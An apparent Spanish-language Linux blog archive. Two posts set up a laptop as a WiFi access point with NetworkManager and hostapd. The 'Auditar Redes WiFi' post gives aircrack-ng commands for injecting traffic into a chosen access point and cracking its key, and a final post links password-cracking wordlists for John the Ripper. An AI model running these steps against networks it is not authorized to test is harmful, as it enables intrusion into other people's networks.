Mostrando entradas con la etiqueta wifi. Mostrar todas las entradas
Mostrando entradas con la etiqueta wifi. Mostrar todas las entradas

jueves, 22 de enero de 2015

Linux - Configurar la Notebook como Access Point Inalámbrico (WiFi)

Si la interface de red inalámbrica de nuestra notebook soporta el modo master podemos de una manera sencilla configurar un Access Point para compartir nuestra conexión a través de la misma.
Para ello:



Creamos el archivo /etc/Network-Manager/system-connections/AP-WiFi
touch /etc/Network-Manager/system-connections/AP-WiFi
chmod 600 /etc/Network-Manager/system-connections/AP-WiFi

y en el mismo copiamos este contenido:

[connection]
id=AP-WiFi
uuid=xxx-xxx-xxx
type=802-11-wireless
[802-11-wireless]
ssid=AP-WiFi
mode=ap
mac-address=00:00:00:00:00:00
security=802-11-wireless-security
[802-11-wireless-security]
key-mgmt=wpa-psk
psk=P4sw0rD
[ipv4]
method=shared

Nota1: cambiar mac-address por la de la placa WiFi que vamos a usar. La obtenemos con el siguiente comando:
ip link show

nota2: Cambiar el uuid con uno propio generado con el siguiente comando:
uuidgen wlan0

Guardamos nuestro archivo y ya podemos conectarnos.

Primero establecemos nuestra conexión a Internet ya sea por la red cableada, USB-3G u otra que tengamos disponible.

Luego activamos el Access Point:

En modo gráfico: buscamos en el icono de NM la red AP-WiFi y nos conectamos. Si no está en la lista, configuramos una “red Oculta” con los datos de nuestro AP

en modo texto: ingresamos a una terminal y ejecutamos:
nmcli con up id AP-WiFi







Fuentes:



miércoles, 16 de mayo de 2012

Hostapd - configurar la notebook como wifi AP router

http://enchufado.com/post.php?ID=341

vi /etc/network/interfaces

auto lo
iface lo inet loopback

auto wlan0
iface wlan0 inet static
address 192.168.100.1
network 192.168.100.0
netmask 255.255.255.0
broadcast 192.168.100.255
 
ifconfig wlan0 up


apt-get install hostapd

vi /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=Prueba
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=mipassword
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

vi /etc/init.d/hostapd

DAEMON_CONF=/etc/hostapd/hostapd.conf
/etc/init.d/hostapd start

apt-get install isc-dhcp-server

vi /etc/default/isc-dhcp-server
INTERFACES="wlan0

vi /etc/dhcp3/dhcpd.conf

DHCP configuration
ddns-update-style interim;
ignore client-updates;

subnet 192.168.100.0 netmask 255.255.255.0 {
option routers 10.64.64.64;
ption domain-name-servers 172.21.7.7, 172.25.7.6;
option ip-forwarding on;
range dynamic-bootp 192.168.100.10 192.168.100.15;
default-lease-time 21600;
max-lease-time 43200;
}
/etc/init.d/isc-dhcp-server start

vi /etc/init.d/firewall
#!/bin/bash
# Habilitamos el ip forwarding.
echo 1 > /proc/sys/net/ipv4/ip_forward
# Hacemos limpieza.
iptables -F
iptables -t nat -F
iptables -X
# Masquerading y forwarding.
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -j ACCEPT
# Aceptamos pings (opcional).
iptables -A INPUT -i wlan0 -p ICMP -j ACCEPT
# Aceptamos tambien paquetes de conexiones ya establecidas (opcional: seguridad).
iptables -A INPUT -i wlan0 -p TCP -m state --state NEW,RELATED -j ACCEPT
# Rechazamos paquetes de conexiones nuevas  (opcional: seguridad).
iptables -A INPUT -i ppp0 -m state --state NEW,INVALID -j DROP
# Rechazamos paquetes de forwarding de conexiones no establecidas  (opcional: seguridad).
iptables -A FORWARD -i ppp0 -m state --state NEW,INVALID -j DROP

chmod +x /etc/init.d/firewall
/etc/init.d/firewall

jueves, 12 de abril de 2012

Auditar Redes WiFi


http://www.taringa.net/posts/linux/10599988/Hackear-red-WPA_-con-ubuntu-10_10-y-11_04_-garantizado_.html
http://www.taringa.net/posts/linux/6123053.R/Romper-WPA-y-WPA2-con-crunch.html

#airodump-ng wlan0
nos muestra las redes disponibles

#airmon-ng start wlan0
ponemos la nic en modo monitor

#ifconfig wlan0
obtenemos el numero MAC local

#airodump-ng wlan0
obtenemos el numero MAC, ESSID y channel del AP

#aireplay-ng -1 0 -e ESSID -a BSSID -h MAClocal wlan0
nos asociamos al AP del que queremos obtener la clave

#iwconfig wlan0 rate 1M channel 1
configuramos el canal 1 con 1M de rate

#aireplay-ng -3 -b BSSID -h MAClocal wlan0
generamos trafico

#airodump-ng -w data -c1 wlan0
capturamos el trafico hacia el archivo "data"

#aircrack-ng data01.cap
buscamos la clave con aircrack. En este caso seleccionamos el numero correspondiente al AP del que buscamos la clave



Fuente: http://foro.elhacker.net/wireless_en_linux/manual_basico_para_wifislax-t214456.0.html
http://www.taringa.net/posts/info/9844598/Hackear-wifi-con-Realtek-Rtl8185l-Wifislax-3_1.html

lunes, 9 de abril de 2012

diccionarios para John de riper



http://linuxeando.com.ar/diccionarios/

http://hotfile.com/dl/127364303/b829814/38_mini_diccionarios.7z.html
http://hotfile.com/dl/127371276/3eae6e2/antichat.ru.rar.html
http://hotfile.com/dl/127365679/6b81737/Case_Mutation.rar.html
http://hotfile.com/dl/127377086/73e74b5/Cracklib.rar.html
http://hotfile.com/dl/127375320/456d087/Dates.rar.html
http://hotfile.com/dl/127345435/a6f49de/Facebook_(Usernames).rar.html
http://hotfile.com/dl/127366489/ae039c4/GDict.rar.html
http://hotfile.com/dl/127377430/fc0aed0/German.rar.html
http://hotfile.com/dl/127312651/0e2c807/hashkiller.7z.html
http://hotfile.com/dl/127365062/a111bce/L33t.rar.html
http://hotfile.com/dl/127347827/0df5b79/Languages_(Summary).rar.html
http://hotfile.com/dl/127367181/718564f/PasswordsPro.rar.html
http://hotfile.com/dl/127372620/4f897f8/Russian_(Full)_-_DOS.rar.html
http://hotfile.com/dl/127373661/c36cd50/Russian_(Full)_-_KOI8.rar.html
http://hotfile.com/dl/127373332/849aac2/Russian_(Full).rar.html
http://hotfile.com/dl/127375725/b76f81a/Thematic_(Summary).rar.html
http://hotfile.com/dl/127371806/7bdc39b/Thematic.rar.html
http://hotfile.com/dl/127367682/5797ae1/Two_Word.rar.html

http://hotfile.com/dl/127310401/03b6e6e/InsidePro_(Full)_-_1.dic.7z.html
http://hotfile.com/dl/127523247/a08594b/InsidePro_(Full)_-_10.dic.7z.html
http://hotfile.com/dl/127525122/2a0cc40/InsidePro_(Full)_-_11.dic.7z.html
http://hotfile.com/dl/127491721/4bc9c91/InsidePro_(Full)_-_12.dic.7z.html
http://hotfile.com/dl/127523832/bd26031/InsidePro_(Full)_-_13.dic.7z.html
http://hotfile.com/dl/127524314/1541a5e/InsidePro_(Full)_-_14.dic.7z.html
http://hotfile.com/dl/127486987/1d55aea/InsidePro_(Full)_-_15.dic.7z.html
http://hotfile.com/dl/127489956/bf171f2/InsidePro_(Full)_-_16.dic.7z.html
http://hotfile.com/dl/127490750/46b9393/InsidePro_(Full)_-_17.dic.7z.html
http://hotfile.com/dl/127488336/8eef8fc/InsidePro_(Full)_-_18.dic.7z.html
http://hotfile.com/dl/127488808/edc2da9/InsidePro_(Full)_-_19.dic.7z.html
http://hotfile.com/dl/127522658/a067911/InsidePro_(Full)_-_2.dic.7z.html
http://hotfile.com/dl/127491018/de2ca49/InsidePro_(Full)_-_3.dic.7z.html
http://hotfile.com/dl/127524594/ab3a8a8/InsidePro_(Full)_-_4.dic.7z.html
http://hotfile.com/dl/127522224/93b7ccf/InsidePro_(Full)_-_5.dic.7z.html
http://hotfile.com/dl/127491369/face356/InsidePro_(Full)_-_6.dic.7z.html
http://hotfile.com/dl/127492078/220b2f2/InsidePro_(Full)_-_7.dic.7z.html
http://hotfile.com/dl/127487653/fef8f28/InsidePro_(Full)_-_8.dic.7z.html
http://hotfile.com/dl/127490325/2b95afb/InsidePro_(Full)_-_9.dic.7z.html
http://hotfile.com/dl/127312952/0ef5b94/InsidePro_(Mini).rar.html
http://hotfile.com/dl/127525416/dfa6b07/InsidePro20(Full)20-2020.rar.html
http://hotfile.com/dl/127525622/1ef595b/InsidePro20(Full)20-2021.rar.html
http://hotfile.com/dl/127525632/07a004e/InsidePro20(Full)20-2022.rar.html
http://hotfile.com/dl/127525640/aedff11/InsidePro20(Full)20-2023.rar.html
http://hotfile.com/dl/127525656/930bff7/InsidePro20(Full)20-2024.rar.html
http://hotfile.com/dl/127525666/59ad636/InsidePro20(Full)20-2025.rar.html